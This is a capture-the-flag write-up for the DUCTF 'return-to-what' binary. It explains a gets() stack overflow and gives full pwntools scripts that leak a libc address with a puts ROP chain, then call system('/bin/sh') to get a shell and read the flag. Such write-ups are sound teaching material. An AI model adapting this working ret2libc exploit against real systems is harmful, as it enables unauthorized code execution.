DUCTF-return-to-what
Leaking Libc addresses to do ret2libc with unknown libc⌗
First lets take a look at the binary mitigations
{} ret2what checksec return-to-what
[*] '/home/h4x5p4c3/Downloads/ret2what/return-to-what'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Nx is enabled so we can’t do a bof and place our shellcode to get a shell and no canary which makes it easier and ASLR is probably enabled.
Decompilation and Disassembly⌗
The decompilation of the assembly code looks like this
undefined8 main(void)
{
puts("Today, we\'ll have a lesson in returns.");
vuln();
return 0;
}
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004011ad <+0>: push rbp
0x00000000004011ae <+1>: mov rbp,rsp # prologue
0x00000000004011b1 <+4>: lea rdi,[rip+0xe78] # rdi = address of [rip+0xe78]
0x00000000004011b8 <+11>: call 0x401030 <puts@plt> # call puts function
0x00000000004011bd <+16>: mov eax,0x0 # eax = 0x0
0x00000000004011c2 <+21>: call 0x401185 <vuln> # call vuln function which has the vulnerable gets function which we use to do bof
0x00000000004011c7 <+26>: mov eax,0x0 # eax = 0x0
0x00000000004011cc <+31>: pop rbp # epilogue
0x00000000004011cd <+32>: ret
End of assembler dump.
In addition lets take a look at the vuln
function too
void vuln(void)
{
char *s;
puts("Where would you like to return to?");
gets(&s);
return;
}
we know that gets is a vulnerable function which we can use to do a buffer overflow
Gadgets⌗
we’ll use the pop rdi
gadget which is needed to pass a parameter to the called function and
the ret
gadget to align our stack
Leaking address of Libc⌗
Now lets craft our exploit to leak address of libc and i previously found out the offset to do bof is 56
#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./return-to-what', checksec=True)
io = process(exe.path)
#io = remote('chal.duc.tf', 30003)
#gdb.attach(io)
pop_rdi = 0x000000000040122b
ret = 0x0000000000401016
leak = flat([
cyclic(56), p64(pop_rdi), exe.sym['__libc_start_main'], exe.plt['puts'], exe.sym['_start']
])
io.sendline(leak)
io.recvline()
io.recvline()
recieved = io.recvline().strip()
libc_leak = u64(recieved.ljust(8, b"\x00"))
log.info("__libc_start_main leak {}".format(hex(libc_leak)))
io.close()
Here i leaked the address of __libc_start_main
Now lets run our exploit script in order to leak libc address
{} python exploit.py
[*] '/home/h4x5p4c3/Desktop/tmp/return-to-what'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/home/h4x5p4c3/Desktop/tmp'
[+] Starting local process '/home/h4x5p4c3/Desktop/tmp/return-to-what': pid 4000
[*] __libc_start_main leak 0x7f1d48463ab0
Now we leaked our libc address which is 0x7f1d48463ab0
, lets find the version of libc now in order to calculate offset of other libc functions
Lets use libc database search to find the version of libc » Libc Database
Now that we found out the libc version, here i assumed it to be the first libc so i choose to use libc6_2.27-3ubuntu1_amd64.so
Lets craft our final exploit script and run in on the remote server to get a shell and grab our flag 🚩
#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./return-to-what', checksec=True)
libc = ELF('./libc.so.6', checksec=True)
io = process(exe.path)
#io = remote('chal.duc.tf', 30003)
#gdb.attach(io)
pop_rdi = 0x000000000040122b
ret = 0x0000000000401016
leak = flat([
cyclic(56), p64(pop_rdi), exe.sym['__libc_start_main'], exe.plt['puts'], exe.sym['_start']
])
io.sendline(leak)
io.recvline()
io.recvline()
recieved = io.recvline().strip()
libc_leak = u64(recieved.ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym['__libc_start_main']
log.info("__libc_start_main leak {}".format(hex(libc_leak)))
log.info("libc base {}".format(hex(libc.address)))
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
log.info("/bin/sh {}".format(hex(bin_sh)))
log.info("system {}".format(hex(system)))
payload = flat([
cyclic(56), ret, pop_rdi, bin_sh, system
])
io.recv()
io.sendline(payload)
io.interactive()
Lets run our exploit as expected we get a shell so we’ll cat out the flag
now
{} python exploit.py
[+] Opening connection to chal.duc.tf on port 30003: Done
[*] '/home/h4x5p4c3/Downloads/ret2what/return-to-what'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/h4x5p4c3/Downloads/ret2what/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] puts@plt: 0x401030
[*] __libc_start_main: 0x403ff0
[*] Leaked libc address, __libc_start_main: 0x7f6172d44ab0
[*] Address of libc 0x7f6172d23000
[*] bin/sh 0x7f6172ed6e9a
[*] system 0x7f6172d72440
[*] Switching to interactive mode
$ ls
flag.txt
return-to-what
$ cat flag.txt
DUCTF{ret_pUts_ret_main_ret_where???}